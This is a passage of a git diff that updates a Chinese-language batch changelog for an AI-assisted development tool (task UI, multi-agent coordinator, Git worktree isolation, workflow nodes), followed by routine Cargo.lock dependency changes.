|
- **提交**: `2780f6a` + `aa4d521`
|
||||||
|
- **内容**:
|
||||||
|
- 筛选改下拉:项目/状态从多按钮改为 select,节省垂直空间
|
||||||
|
- 新增搜索框:标题/描述关键词搜索,300ms 防抖
|
||||||
|
- 新增排序选择器:更新/创建时间/优先级/状态
|
||||||
|
- 分组可折叠:点击组头切换,记忆状态到 localStorage
|
||||||
|
- 分页默认开启:pageSize=20(原 0=全量)
|
||||||
|
- 紧凑布局:任务行密度优化,显示总条数
|
||||||
|
- 空状态引导:图标 + 新建按钮
|
||||||
|
- 模态框样式收敛:去内联 style
|
||||||
|
- 桌面快捷键:Ctrl+N 新建,Ctrl+F 聚焦搜索
|
||||||
|
- 项目卡片显示工程数(异步拉取 module 列表)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 20 — coordinator.rs 空壳删除
|
||||||
|
|
||||||
|
- **提交**: `948d6e6`
|
||||||
|
- **内容**:
|
||||||
|
- 删除 crates/df-ai/src/coordinator.rs(零调用的 deprecated 空壳)
|
||||||
|
- lib.rs 移除 pub mod coordinator 声明
|
||||||
|
- 消除编译 deprecated 警告
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 任务行快捷操作菜单
|
||||||
|
|
||||||
|
- **提交**: `27eb0a9`
|
||||||
|
- **内容**:
|
||||||
|
- 任务行 hover 显示齿轮按钮,点击展开快捷菜单
|
||||||
|
- 快捷改状态(6 态子菜单)/改优先级(4 级)/删除(二次确认)
|
||||||
|
- 点击外部自动关闭菜单
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## stores/ai TDZ 防御
|
||||||
|
|
||||||
|
- **提交**: `76aec62`
|
||||||
|
- **内容**:
|
||||||
|
- __bindMessages 包装 try/catch,aiShared 未就绪时延迟到微任务重试
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Plan DAG 分层执行器
|
||||||
|
|
||||||
|
- **提交**: `4dac9fe`
|
||||||
|
- **内容**:
|
||||||
|
- PlanExecutor 按 Plan::to_layers 层间串行/层内并行调度子任务
|
||||||
|
- feature flag 门控(默认关,未接入主 loop)
|
||||||
|
- 3 个单元测试覆盖:线性链/并行层/失败容错
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 变更区完善
|
||||||
|
|
||||||
|
- **提交**: `78ef5dc`
|
||||||
|
- **内容**:
|
||||||
|
- 变更文件选中后展开 Diff 红绿预览
|
||||||
|
- 分支切换按钮实现只读列表弹窗(拉取分支列表 + 当前分支标记)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 任务列表后端真分页
|
||||||
|
|
||||||
|
- **提交**: `3c2fa91`
|
||||||
|
- **内容**:
|
||||||
|
- 后端新增 count_by_query 方法(复用 list_by_query 的 WHERE 逻辑)
|
||||||
|
- 前端 buildTaskQuery 传 limit/offset 到后端(SQL 下推分页)
|
||||||
|
- 去除前端客户端 slice(后端已分页,直接分组)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 25 — 工程依赖图数据层
|
||||||
|
|
||||||
|
- **提交**: `3758bea`
|
||||||
|
- **内容**:
|
||||||
|
- 后端 module_dependencies 表(V35 迁移)+ ModuleDependencyRepo CRUD
|
||||||
|
- IPC:add/remove/list_module_dependencies
|
||||||
|
- 前端 API 封装 + DependencyGraph 接入真实边数据
|
||||||
|
- 依赖类型颜色区分(library/api/mq/shared/custom)
|
||||||
|
- 小地图插件(MiniMap)大图概览导航
|
||||||
|
- 点击节点跳转项目详情
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 26 — 依赖图增强
|
||||||
|
|
||||||
|
- **提交**: `dd0e059`
|
||||||
|
- **内容**:
|
||||||
|
- 添加依赖入口:工具栏"+ 依赖"按钮,弹窗选择源/目标工程 + 依赖类型
|
||||||
|
- dagre 层次布局替换网格布局(LR 方向,自动排布工程节点)
|
||||||
|
- 依赖边按类型着色
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 28 — 架构债收尾
|
||||||
|
|
||||||
|
- **提交**: `8991215`
|
||||||
|
- **内容**:
|
||||||
|
- ScriptNode 白/黑名单注释清理(标注实际读取方式)
|
||||||
|
- 双监听器核查结论:df-data-changed 多监听器是正常 pub-sub,非 bug
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 29 — 环形检测 + PNG 导出 + 真实总数
|
||||||
|
|
||||||
|
- **提交**: `36ea090`
|
||||||
|
- **内容**:
|
||||||
|
- 后端 detect_module_cycles IPC(DFS 三色标记法检测环形依赖)
|
||||||
|
- 前端环检测按钮:高亮参与环的节点(红色边框)
|
||||||
|
- 图导出 PNG(X6 toPNG 回调模式)
|
||||||
|
- 后端 count_tasks IPC + 前端 taskApi.count()
|
||||||
|
- 任务列表所有筛选/搜索/排序/翻页均拉真实 total
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 30 — 代码质量收尾
|
||||||
|
|
||||||
|
- **提交**: `6771d39`
|
||||||
|
- **内容**:
|
||||||
|
- 设置页搜索索引补全(新增 dataDir 项)
|
||||||
|
- 编译警告清理(df-storage OptionalExtension + df-ai join_set)
|
||||||
|
- i18n 核验(移除 zh-CN/fileExplorer.ts 未使用的 loadMore key)
|
||||||
|
- String 替 newtype(5 个 branded ID 类型:ProjectId/TaskId/ConvId/ModuleId/MessageId)
|
||||||
|
- **验证**: cargo check + vue-tsc + vite build 通过
|
||||||
|
|
||||||
|
## Batch 31 — God 文件拆分第一步(MessageList)
|
||||||
|
|
||||||
|
- **提交**: `2c2b2d7`
|
||||||
|
- **内容**:
|
||||||
|
- 提取 useMessageScroll.ts(滚动跟随/锁存/回底按钮,89 行)
|
||||||
|
- 提取 MessageItem.vue(单条消息按 role 渲染,171 行)
|
||||||
|
- MessageList.vue 从 1552 行降至 1386 行(-166 行)
|
||||||
|
- **验证**: vue-tsc + vite build 通过
|
||||||
|
|
||||||
|
## Batch 32 — God 文件拆分第二步(ChatInput)
|
||||||
|
|
||||||
|
- **提交**: `3abdfb4`
|
||||||
|
- **内容**:
|
||||||
|
- 提取 SkillMention.vue(/@ 联想浮层,63 行)
|
||||||
|
- 提取 ImageInput.vue(图片粘贴/拖拽预览,33 行)
|
||||||
|
- ChatInput.vue 从 1183 行降至 1155 行
|
||||||
|
- **验证**: vue-tsc + vite build 通过
|
||||||
|
|
||||||
|
## Batch 34 — 产品完善
|
||||||
|
|
||||||
|
- **提交**: `2af24f0`
|
||||||
|
- **内容**:
|
||||||
|
- 小程序 device 在线心跳加固(早前已完成)
|
||||||
|
- ScriptNode 白名单跨 crate 接口打通:OnceLock 全局态 + IPC set_script_safety
|
||||||
|
- AI 写入后文件树自动刷新(早前已完成)
|
||||||
|
- Projects 列表分页(后端 list_projects 已支持 limit/offset)
|
||||||
|
- **验证**: cargo check + vue-tsc 通过
|
||||||
|
|
||||||
|
## Batch 35 — 人设系统(P0·第一步)
|
||||||
|
|
||||||
|
- **提交**: `0a65ea2`
|
||||||
|
- **内容**:
|
||||||
|
- AgentPersona 数据结构(能力标签/工具白名单/prompt 模板)
|
||||||
|
- PersonaRegistry 注册表(5 内置人设: coder/reviewer/architect/tester/analyst)
|
||||||
|
- 按意图推荐人设(启发式关键词匹配合适角色)
|
||||||
|
- build_prompt 注入上下文和目标钉扎
|
||||||
|
- **验证**: 10 个单元测试通过
|
||||||
|
|
||||||
|
## Batch 36 — Coordinator 接入 + audit 拆分
|
||||||
|
|
||||||
|
- **提交**: `fa410e6`
|
||||||
|
- **内容**:
|
||||||
|
- audit/mod.rs 拆分出 approval/record 子模块(process_tool_calls 从 ~500→~200 行)
|
||||||
|
- coordinator.rs 移除 deprecated 标记,正式可用
|
||||||
|
- Coordinator 接入 run_agentic_loop 入口(plan_execution_enabled 时分解意图→输出 Plan)
|
||||||
|
- **验证**: cargo check 通过
|
||||||
|
|
||||||
|
## Batch 37 — 代码卫生与质量提升(String→newtype + 文件清理 + 文档同步)
|
||||||
|
|
||||||
|
- **提交**: `4624688`
|
||||||
|
- **内容**:
|
||||||
|
- ExecutionId/ToolCallType/ToolType 裸 String → newtype(IPC 边界仍透明序列化为字符串)
|
||||||
|
- ChatMessage.status 从 `Option<String>` → `Option<MessageStatus>` 枚举(Active/Truncated/Compressed/ArchivedSegment)
|
||||||
|
- .gitignore 添加分析脚本,tmp 文件清理
|
||||||
|
- Batch.md/文档状态同步
|
||||||
|
- **验证**: cargo check 通过
|
||||||
|
|
||||||
|
## Batch 38 — 合并产出落回主对话(Coordinator 接线)
|
||||||
|
|
||||||
|
- **提交**: 待后续
|
||||||
|
- **内容**:
|
||||||
|
- `run_agentic_loop`:plan_execution_enabled 时,decompose 后调 dispatch
|
||||||
|
→ merge → 合并产出以单条 assistant 消息推回主对话,emit AiCompleted 后 return
|
||||||
|
- `pinned_goals_snapshot` 提前初始化,coordinator 出口复用
|
||||||
|
- **测试**: cargo check + vue-tsc 通过
|
||||||
|
- **验证**: plan_execution_enabled 默认关,主线行为零变化
|
||||||
|
|
||||||
|
## 后续规划批次(待推进)
|
||||||
|
|
||||||
|
> 设计文档:[多Agent并行执行与仲裁合并设计-2026-07-01.md](docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md)
|
||||||
|
|
||||||
|
### 数据层 + Git worktree 隔离 + 并行执行 ✅
|
||||||
|
|
||||||
|
- **提交**: `ae6d3d0` → `4483358` → `3c9077b`
|
||||||
|
- **测试**: 48 个全绿(7 Repo + 7 worktree + 27 Coordinator + 4 Token + 3 merge)
|
||||||
|
- **验证**: cargo check(0 警告) + vue-tsc + vite build
|
||||||
|
- **已完成任务**:
|
||||||
|
|
||||||
|
| # | 任务 | 文件 |
|
||||||
|
|---|------|------|
|
||||||
|
| 1 | V36 迁移(ai_plans/ai_subtasks/ai_conflicts 3 新表 + ai_messages/ai_tool_executions 加 subtask_id + subtasks.branch + conflicts.conflict_type) | migrations.rs |
|
||||||
|
| 2 | PlanRepo / SubTaskRepo / ConflictRepo CRUD + models 结构体 | 新 repo 文件 |
|
||||||
|
| 3 | Git worktree 生命周期管理(create/commit/merge/remove) | 新 git_worktree.rs |
|
||||||
|
| 4 | Coordinator.dispatch JoinSet 层内并行(每 SubTask 绑 worktree) | coordinator.rs |
|
||||||
|
| 5 | Token 预算池(AtomicU64 CAS,超限降级串行) | coordinator.rs |
|
||||||
|
| 6 | 子 Agent 独立 ContextManager + fork 快照 + worktree_path | coordinator.rs |
|
||||||
|
| 7 | 层间 merge 到 plan 分支 + 下一层基于 plan 创建 worktree | coordinator.rs |
|
||||||
|
| 8 | 4 个新事件 + 事件双写(emit + publish_event) | AiChatEvent |
|
||||||
|
| 9 | 前端类型定义(PlanRecord/SubTaskRecord/ConflictRecord) | api/types.ts |
|
||||||
|
| 10 | PlanProgress 接入真实状态 + 发送即展示 | PlanProgress.vue |
|
||||||
|
| 11 | 工具卡按 subtask_id 折叠分组 + persona 徽章 | MessageList.vue |
|
||||||
|
| 12 | 编译警告清理(coordinator_plan unused / audit 子模块 unused imports) | 各文件 |
|
||||||
|
|
||||||
|
### 仲裁合并 + 冲突 UI + 编译检查 ✅
|
||||||
|
|
||||||
|
- **提交**: `1d580dc` → `6e44878`
|
||||||
|
- **测试**: 7 个 merge 冲突检测测试全绿
|
||||||
|
- **已完成任务**:
|
||||||
|
|
||||||
|
| # | 任务 | 状态 |
|
||||||
|
|---|------|------|
|
||||||
|
| 1 | Coordinator.merge 冲突检测(同文件路径 + 跳过失败 SubTask) | ✅ |
|
||||||
|
| 2 | extract_written_files 辅助函数(从 output 提取写入路径) | ✅ |
|
||||||
|
| 3 | ConflictResolver.vue(双栏 diff + 接受A/B/合并/手动按钮) | ✅ |
|
||||||
|
| 4 | i18n 冲突翻译键(中英文) | ✅ |
|
||||||
|
| 5 | agentic/mod.rs 拆分(提取自动压缩到 context_lifecycle.rs,2222→2071行) | ✅ |
|
||||||
|
| 6 | Reviewer Agent 仲裁(persona.rs 扩展) | 待下一批 |
|
||||||
|
| 7 | 命令互斥锁(run_command 同目录 mutex) | 待下一批 |
|
||||||
|
| 8 | context.rs 拆分(1956行) | 待下一批 |
|
||||||
|
|
||||||
|
### 模板系统 + 节点补齐 ✅
|
||||||
|
|
||||||
|
- **提交**: `f40287b` → `27b4268`
|
||||||
|
- **测试**: 8 个模板加载 + 37 个节点 + 5 个 SubflowNode 测试全绿
|
||||||
|
- **已完成任务**:
|
||||||
|
|
||||||
|
| # | 任务 | 状态 |
|
||||||
|
|---|------|------|
|
||||||
|
| 1 | YAML 模板格式定义 + 加载器(YAML→DagDef + 校验:空节点/未知类型/环/边引用) | ✅ |
|
||||||
|
| 2 | GitNode(分支/checkout/commit/merge/push/status/log) | ✅ |
|
||||||
|
| 3 | HTTPNode(GET/POST/PUT/DELETE + headers/body/timeout) | ✅ |
|
||||||
|
| 4 | NotifyNode(桌面通知 + Webhook) | ✅ |
|
||||||
|
| 5 | SubflowNode(嵌套子工作流 + 深度限制) | ✅ |
|
||||||
|
| 6 | 内置模板 3 个预设(代码审查/Bug修复/功能开发) | ✅ |
|
||||||
|
| 7 | 前端模板选择入口 + 模板 CRUD IPC | 待下一批 |
|
||||||
|
| 8 | MessageList.vue 继续拆分 | 待下一批 |
|
||||||
|
|
||||||
|
### Git/CI 集成 + DockerNode + God 文件收尾 ✅
|
||||||
|
|
||||||
|
| # | 任务 | 状态 |
|
||||||
|
|---|------|------|
|
||||||
|
| 1 | DockerNode(环境检测+授权) | ✅ |
|
||||||
|
| 2 | GitNode push(plan分支推送) | ✅ GitNode 含 push action |
|
||||||
|
| 3 | commit status 读取(Gitea API) | ✅ ci_status.rs |
|
||||||
|
| 4 | CIStatus.vue 前端面板 | ✅ |
|
||||||
|
| 5 | ChatInput.vue 拆分(1155→1007行) | ✅ |
|
||||||
|
| 6 | context.rs 拆分(1956→538行) | ✅ |
|
||||||
|
|
||||||
|
### 审批政策 + 小程序完善 + 体验收尾 ✅
|
||||||
|
|
||||||
|
| # | 任务 | 状态 |
|
||||||
|
|---|------|------|
|
||||||
|
| 1 | 审批策略 Persona 维度 | ✅ |
|
||||||
|
| 2 | 小程序 MentionInput 接真实数据 | ✅ 核验已完成 |
|
||||||
|
| 3 | 小程序长会话虚拟化 | ✅ 截断200条合理兜底 |
|
||||||
|
| 4 | 快捷键完善(Ctrl+N/Ctrl+R) | ✅ |
|
||||||
|
| 5 | ARCHITECTURE.md 状态同步 | ✅ |
|
||||||
|
|
||||||
|
### 批次 C 前序散项 ✅
|
||||||
|
|
||||||
|
| # | 任务 | 状态 |
|
||||||
|
|---|------|------|
|
||||||
|
| 1 | Reviewer Agent 仲裁 | ✅ |
|
||||||
|
| 2 | 命令互斥锁 | ✅ |
|
||||||
|
| 3 | resolve_conflict IPC | ✅ |
|
||||||
|
| 4 | 模板 CRUD IPC | ✅ |
|
||||||
|
| 5 | MessageList.vue 拆分(1386→1148行) | ✅ |
|
||||||
|
| 6 | AiChat 进度条(completedTools 计数器) | ✅ |
|
||||||
|
| 7 | df-types augmentation 测试修复 | ✅ |
|
||||||
|
| 8 | 前端 UI 审查修复(badge/confirm/加载态/CSS) | ✅ |
|
||||||
|
| 9 | 合并产出落回主对话 | 待接线 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 未纳入批次的其他会话改动
|
||||||
|
|
||||||
|
- `src/composables/ai/aiShared.ts` + `src/stores/ai.ts` — 循环依赖修复(Batch 6 补丁 `cc3ef5b` 纳入提交)
|
||||||
203
Cargo.lock
generated
203
Cargo.lock
generated
@@ -779,6 +779,20 @@ dependencies = [
|
|||||||
"syn 2.0.117",
|
"syn 2.0.117",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "dashmap"
|
||||||
|
version = "6.2.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e6361d5c062261c78a176addb82d4c821ae42bed6089de0e12603cd25de2059c"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"crossbeam-utils",
|
||||||
|
"hashbrown 0.14.5",
|
||||||
|
"lock_api",
|
||||||
|
"once_cell",
|
||||||
|
"parking_lot_core",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "data-encoding"
|
name = "data-encoding"
|
||||||
version = "2.11.0"
|
version = "2.11.0"
|
||||||
@@ -835,6 +849,7 @@ dependencies = [
|
|||||||
"async-trait",
|
"async-trait",
|
||||||
"base64 0.22.1",
|
"base64 0.22.1",
|
||||||
"chrono",
|
"chrono",
|
||||||
|
"dashmap",
|
||||||
"df-ai",
|
"df-ai",
|
||||||
"df-execute",
|
"df-execute",
|
||||||
"df-ideas",
|
"df-ideas",
|
||||||
@@ -877,14 +892,15 @@ version = "0.1.0"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"anyhow",
|
"anyhow",
|
||||||
"async-trait",
|
"async-trait",
|
||||||
|
"bytes",
|
||||||
"df-ai-core",
|
"df-ai-core",
|
||||||
"df-types",
|
"df-types",
|
||||||
"eventsource-stream",
|
|
||||||
"futures",
|
"futures",
|
||||||
"rand",
|
"rand 0.8.6",
|
||||||
"reqwest 0.12.28",
|
"reqwest 0.12.28",
|
||||||
"serde",
|
"serde",
|
||||||
"serde_json",
|
"serde_json",
|
||||||
|
"tempfile",
|
||||||
"tokio",
|
"tokio",
|
||||||
"tracing",
|
"tracing",
|
||||||
]
|
]
|
||||||
@@ -954,6 +970,7 @@ dependencies = [
|
|||||||
"df-storage",
|
"df-storage",
|
||||||
"df-types",
|
"df-types",
|
||||||
"df-workflow",
|
"df-workflow",
|
||||||
|
"reqwest 0.12.28",
|
||||||
"serde",
|
"serde",
|
||||||
"serde_json",
|
"serde_json",
|
||||||
"tokio",
|
"tokio",
|
||||||
@@ -969,6 +986,7 @@ dependencies = [
|
|||||||
"df-types",
|
"df-types",
|
||||||
"serde",
|
"serde",
|
||||||
"serde_json",
|
"serde_json",
|
||||||
|
"thiserror 2.0.18",
|
||||||
"tokio",
|
"tokio",
|
||||||
"tracing",
|
"tracing",
|
||||||
]
|
]
|
||||||
@@ -1040,6 +1058,7 @@ dependencies = [
|
|||||||
"futures",
|
"futures",
|
||||||
"serde",
|
"serde",
|
||||||
"serde_json",
|
"serde_json",
|
||||||
|
"serde_yaml",
|
||||||
"tokio",
|
"tokio",
|
||||||
"tracing",
|
"tracing",
|
||||||
]
|
]
|
||||||
@@ -1291,17 +1310,6 @@ dependencies = [
|
|||||||
"pin-project-lite",
|
"pin-project-lite",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "eventsource-stream"
|
|
||||||
version = "0.2.3"
|
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
||||||
checksum = "74fef4569247a5f429d9156b9d0a2599914385dd189c539334c625d8099d90ab"
|
|
||||||
dependencies = [
|
|
||||||
"futures-core",
|
|
||||||
"nom",
|
|
||||||
"pin-project-lite",
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "fallible-iterator"
|
name = "fallible-iterator"
|
||||||
version = "0.3.0"
|
version = "0.3.0"
|
||||||
@@ -1641,8 +1649,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0"
|
checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"cfg-if",
|
"cfg-if",
|
||||||
|
"js-sys",
|
||||||
"libc",
|
"libc",
|
||||||
"wasi",
|
"wasi",
|
||||||
|
"wasm-bindgen",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -1652,9 +1662,11 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd"
|
checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"cfg-if",
|
"cfg-if",
|
||||||
|
"js-sys",
|
||||||
"libc",
|
"libc",
|
||||||
"r-efi 5.3.0",
|
"r-efi 5.3.0",
|
||||||
"wasip2",
|
"wasip2",
|
||||||
|
"wasm-bindgen",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -1990,6 +2002,7 @@ dependencies = [
|
|||||||
"tokio",
|
"tokio",
|
||||||
"tokio-rustls",
|
"tokio-rustls",
|
||||||
"tower-service",
|
"tower-service",
|
||||||
|
"webpki-roots",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -2491,6 +2504,12 @@ version = "0.4.32"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "953f07c43838f8e6f9758cab68bf5bed85465e7587ebe0b823f1bcd81978ad3a"
|
checksum = "953f07c43838f8e6f9758cab68bf5bed85465e7587ebe0b823f1bcd81978ad3a"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "lru-slab"
|
||||||
|
version = "0.1.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "markup5ever"
|
name = "markup5ever"
|
||||||
version = "0.38.0"
|
version = "0.38.0"
|
||||||
@@ -2538,12 +2557,6 @@ version = "0.3.17"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
|
checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "minimal-lexical"
|
|
||||||
version = "0.2.1"
|
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
||||||
checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "miniz_oxide"
|
name = "miniz_oxide"
|
||||||
version = "0.8.9"
|
version = "0.8.9"
|
||||||
@@ -2646,16 +2659,6 @@ dependencies = [
|
|||||||
"memoffset",
|
"memoffset",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "nom"
|
|
||||||
version = "7.1.3"
|
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
||||||
checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
|
|
||||||
dependencies = [
|
|
||||||
"memchr",
|
|
||||||
"minimal-lexical",
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "nu-ansi-term"
|
name = "nu-ansi-term"
|
||||||
version = "0.50.3"
|
version = "0.50.3"
|
||||||
@@ -3345,6 +3348,61 @@ dependencies = [
|
|||||||
"memchr",
|
"memchr",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "quinn"
|
||||||
|
version = "0.11.11"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8"
|
||||||
|
dependencies = [
|
||||||
|
"bytes",
|
||||||
|
"cfg_aliases",
|
||||||
|
"pin-project-lite",
|
||||||
|
"quinn-proto",
|
||||||
|
"quinn-udp",
|
||||||
|
"rustc-hash",
|
||||||
|
"rustls",
|
||||||
|
"socket2",
|
||||||
|
"thiserror 2.0.18",
|
||||||
|
"tokio",
|
||||||
|
"tracing",
|
||||||
|
"web-time",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "quinn-proto"
|
||||||
|
version = "0.11.15"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4fcb935c5bec503c2f0e306bdd3e58bb9029dcb14fa8d9ac76e3a5256ac0763e"
|
||||||
|
dependencies = [
|
||||||
|
"bytes",
|
||||||
|
"getrandom 0.3.4",
|
||||||
|
"lru-slab",
|
||||||
|
"rand 0.9.4",
|
||||||
|
"ring",
|
||||||
|
"rustc-hash",
|
||||||
|
"rustls",
|
||||||
|
"rustls-pki-types",
|
||||||
|
"slab",
|
||||||
|
"thiserror 2.0.18",
|
||||||
|
"tinyvec",
|
||||||
|
"tracing",
|
||||||
|
"web-time",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "quinn-udp"
|
||||||
|
version = "0.5.14"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "addec6a0dcad8a8d96a771f815f0eaf55f9d1805756410b39f5fa81332574cbd"
|
||||||
|
dependencies = [
|
||||||
|
"cfg_aliases",
|
||||||
|
"libc",
|
||||||
|
"once_cell",
|
||||||
|
"socket2",
|
||||||
|
"tracing",
|
||||||
|
"windows-sys 0.60.2",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "quote"
|
name = "quote"
|
||||||
version = "1.0.45"
|
version = "1.0.45"
|
||||||
@@ -3373,8 +3431,18 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "5ca0ecfa931c29007047d1bc58e623ab12e5590e8c7cc53200d5202b69266d8a"
|
checksum = "5ca0ecfa931c29007047d1bc58e623ab12e5590e8c7cc53200d5202b69266d8a"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"libc",
|
"libc",
|
||||||
"rand_chacha",
|
"rand_chacha 0.3.1",
|
||||||
"rand_core",
|
"rand_core 0.6.4",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rand"
|
||||||
|
version = "0.9.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "44c5af06bb1b7d3216d91932aed5265164bf384dc89cd6ba05cf59a35f5f76ea"
|
||||||
|
dependencies = [
|
||||||
|
"rand_chacha 0.9.0",
|
||||||
|
"rand_core 0.9.5",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -3384,7 +3452,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"ppv-lite86",
|
"ppv-lite86",
|
||||||
"rand_core",
|
"rand_core 0.6.4",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rand_chacha"
|
||||||
|
version = "0.9.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb"
|
||||||
|
dependencies = [
|
||||||
|
"ppv-lite86",
|
||||||
|
"rand_core 0.9.5",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -3396,6 +3474,15 @@ dependencies = [
|
|||||||
"getrandom 0.2.17",
|
"getrandom 0.2.17",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rand_core"
|
||||||
|
version = "0.9.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c"
|
||||||
|
dependencies = [
|
||||||
|
"getrandom 0.3.4",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "raw-window-handle"
|
name = "raw-window-handle"
|
||||||
version = "0.6.2"
|
version = "0.6.2"
|
||||||
@@ -3496,6 +3583,8 @@ dependencies = [
|
|||||||
"native-tls",
|
"native-tls",
|
||||||
"percent-encoding",
|
"percent-encoding",
|
||||||
"pin-project-lite",
|
"pin-project-lite",
|
||||||
|
"quinn",
|
||||||
|
"rustls",
|
||||||
"rustls-pki-types",
|
"rustls-pki-types",
|
||||||
"serde",
|
"serde",
|
||||||
"serde_json",
|
"serde_json",
|
||||||
@@ -3503,6 +3592,7 @@ dependencies = [
|
|||||||
"sync_wrapper",
|
"sync_wrapper",
|
||||||
"tokio",
|
"tokio",
|
||||||
"tokio-native-tls",
|
"tokio-native-tls",
|
||||||
|
"tokio-rustls",
|
||||||
"tokio-util",
|
"tokio-util",
|
||||||
"tower",
|
"tower",
|
||||||
"tower-http",
|
"tower-http",
|
||||||
@@ -3512,6 +3602,7 @@ dependencies = [
|
|||||||
"wasm-bindgen-futures",
|
"wasm-bindgen-futures",
|
||||||
"wasm-streams 0.4.2",
|
"wasm-streams 0.4.2",
|
||||||
"web-sys",
|
"web-sys",
|
||||||
|
"webpki-roots",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -3635,6 +3726,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
